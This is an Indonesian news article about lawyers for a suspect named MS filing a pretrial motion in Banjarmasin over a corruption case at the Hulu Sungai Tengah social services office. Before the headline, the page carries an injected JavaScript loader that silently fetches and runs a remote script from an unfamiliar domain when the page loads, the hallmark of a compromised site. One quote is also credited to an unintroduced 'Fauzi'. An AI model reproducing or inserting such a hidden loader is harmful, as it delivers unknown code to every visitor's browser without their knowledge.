(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Hukum

Kasus Korupsi Dinsos HST, Kuasa Hukum MS Resmi Ajukan Praperadilan

KANALKALIMANTAN.COM, BANJARMASIN – Penetapan tersangka MS (28) pada kasus dugaan korupsi progam kader sosial di Dinas Sosial (Dinsos) Kabupaten Hulu Sungai Tengah (HST) berbuntut panjang.

Tim kuasa hukum MS yang diketuai Zainal Abidin resmi mendaftarkan praperadilan ke Pengadilan Negeri (PN) Banjarmasin, Senin (9/9/2024) siang.

“Kami mendaftarkan praperadilan MS yang ditetapkan sebagai tersangka, termohon adalah Kejati Kalsel,” ujar Zainal saat ditemui awak media di Banjarmasin, Senin (9/9/2024) siang.

Dijelaskan, pengajuan praperadilan dilakukan karena kliennya tidak terima ditetapkan sebagai tersangka dan langsung ditahan oleh penyidik Kejaksaan Tinggi (Kejati) Kalimantan Selatan saat diperiksa pada Jumat (30/8/2024) lalu.

Langkah yang diambil tim kuasa hukum merupakan hak dari kliennya untuk mendapatkan keadilan.

Masih lanjut Zainal, saat dipanggil penyidik, MS saat itu tidak mengerti apakah dipanggil sebagai saksi kasus yang tengah bergulir atau kasus dia sendirian.

Sehingga klien meraka tidak terima dengan penetapan tersangka jika dianggap turut serta pada kasus yang menjerat Plt Kadinsos HST berinisial WR itu.

“Klien kami tidak terima kalau dia disebut turut serta, dia tidak mengerti,” ujar Fauzi.

Adapun permohonan praperadilan yang diajukan pihak MS meminta agar hakim PN Banjarmasin membatalkan penetapan tersangka. “Dalam petitum kita minta dibatalkan penetapan tersangka,” ujar Zainal.

Sebagai informasi, MS yang merupakan warga HST ditetapkan sebagai tersangka oleh penyidik Kejati Kalsel dalam kasus dugaan korupsi program kader sosial Dinsos HST tahun anggaran 2022.

MS menyusul Plt Kadinsos HST WR yang lebih dulu ditetapkan sebagai tersangka dalam kasus yang sama.

Dalam kasus tersebut, MS dijerat dengan pasal 2 ayat (1) jo pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi juncto Pasal 55 Ayat (1) ke-1 KUHP sebagai dakwaan primair.

Sedangkan subsidaernya pasal 3 jo Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi juncto Pasal 55 Ayat (1) ke-1 KUHP. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie